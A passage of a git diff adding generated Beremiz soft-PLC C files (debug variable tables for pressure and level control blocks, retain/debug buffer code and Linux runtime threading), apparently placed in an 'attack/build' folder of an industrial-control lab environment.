+{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include 